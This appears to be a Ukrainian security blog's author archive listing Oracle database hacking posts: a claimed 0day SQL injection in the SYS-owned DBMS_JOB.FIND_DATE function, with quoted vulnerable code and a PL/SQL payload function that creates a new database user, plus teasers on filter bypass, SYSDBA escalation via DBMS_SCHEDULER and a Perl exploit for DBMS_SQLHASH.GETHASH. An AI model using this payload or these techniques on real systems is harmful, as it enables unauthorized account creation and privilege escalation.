Archive

Author Archive

TARGET: ORACLE. 0day експлойт

April 12th, 2010 dsu 2 comments

Не люблю багато писати, тому все швиденько та по порядку: шукав функцію вразливу до sql-injection під свої потреби, наткнувся на таку в пакеті dbms_job який належить sys користувачеві, функція find_date.

...
30 CUR := DBMS_SQL.OPEN_CURSOR;
31 BEGIN
32
33 DBMS_SYS_SQL.PARSE_AS_USER( CUR, 'select sysdate, ' || INTERVAL ||
34 ' from dual', DBMS_SQL.NATIVE );
...

INTERVAL – вразливий параметр. Але тут проблема: функція не оголошена в пакеті, тобто її можна використовувати тільки всередині пакету, під мої потреби це не підходить, хоча, можливо  комусь і буде потрібно. Але щоб довести справу до переможного кінця,  знайшов процедуру в пакеті яка цю функцію використовує, вона там не одна, але так як мені ця функція не підійшла, я взяв першу ліпшу.

...
134 MYDATE: = FIND_DATE (INTERVAL);
135 IF NOT NO_PARSE THEN
136 PARSE_JOB (WHAT);
137 END IF;
138
...

Створюємо функцію, хоча можна використати і курсор, але я віддаю перевагу старій школі.

CREATE OR REPLACE FUNCTION fff return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'create user fff identified by fff';
COMMIT;
RETURN 'sys';
END;
/

Ну і власне сам експлойт (під катом):
Read more...

Oracle Hack: Oracle DB обхід деяких обмежень.

December 24th, 2009 dsu 2 comments

І знову про Oracle :)
Header


Уявімо ситуацію:
1. Back-end: Oracle Database Sever (8i-10g).
2. Front-end: Apache + php (будь-http сервер + будь-який інтерпретатор, не важливо який, але для наочності візьмемо php, саме його я і використовував при написанні цієї статті).
3. Завдання: обійти обмеження і отримати якомога більше інформації
4. Захист: фільтр where, set, insert у запиті.
5. Ми будемо розглядати ін’єкцію в pl / sql процедуру, яка, в свою чергу, вже виконує sql запит
Read more…

Categories: Інше, Безпека Tags:

Oracle Hack Частина друга: Oracle Database, get me sysdba

December 8th, 2009 dsu 3 comments

Таки дійшли руки, почнемо.
Ми маємо:
1. DBA (можна й більш “дрібні” права, головне, щоб був доступ до Java, або DBMS_SCHEDULER або ALTER SYSTEM)
2. Все написане тестувалося на Win32 XP SP3 та Oracle XE (у мене немає ліцензії на платний Oracle. Тестувати дані скрипти на робочому сервері я не став) Тут ми будемо розглядати приклад тільки з DBMS_SCHEDULER.  Служба OracleJobScheduler% ORACLE_SID% повинна бути запущена, інакше нічого не вийде )
Read more…

Categories: Інше Tags:

Oracle DBMS_SQLHASH.GETHASH exploit (perl)

November 28th, 2009 dsu 2 comments

Написав нескладний exploit, що використовує уразливість в DBMS_SQLHASH.GETHASH. Exploit для роботи потребує sql ін’єкцію в pl / sql процедурі (зазвичай, на Oracle Application server, там і належать такі процедури по дефолту користувачеві з правами, яких нам достатньо). Загалом  можна запитати, навіщо нам exploit, якщо є ін’єкція? Я відповім, що часто в таких процедурах йде простий sql select / update / insert, а в них ми можемо використовувати  тільки простий sql. Даний exploit дозволяє виконати pl / sql, маючи при цьому тільки ін’єкцію у процедурі, яка виконує, скажімо, select і права тільки create_session.

Read more…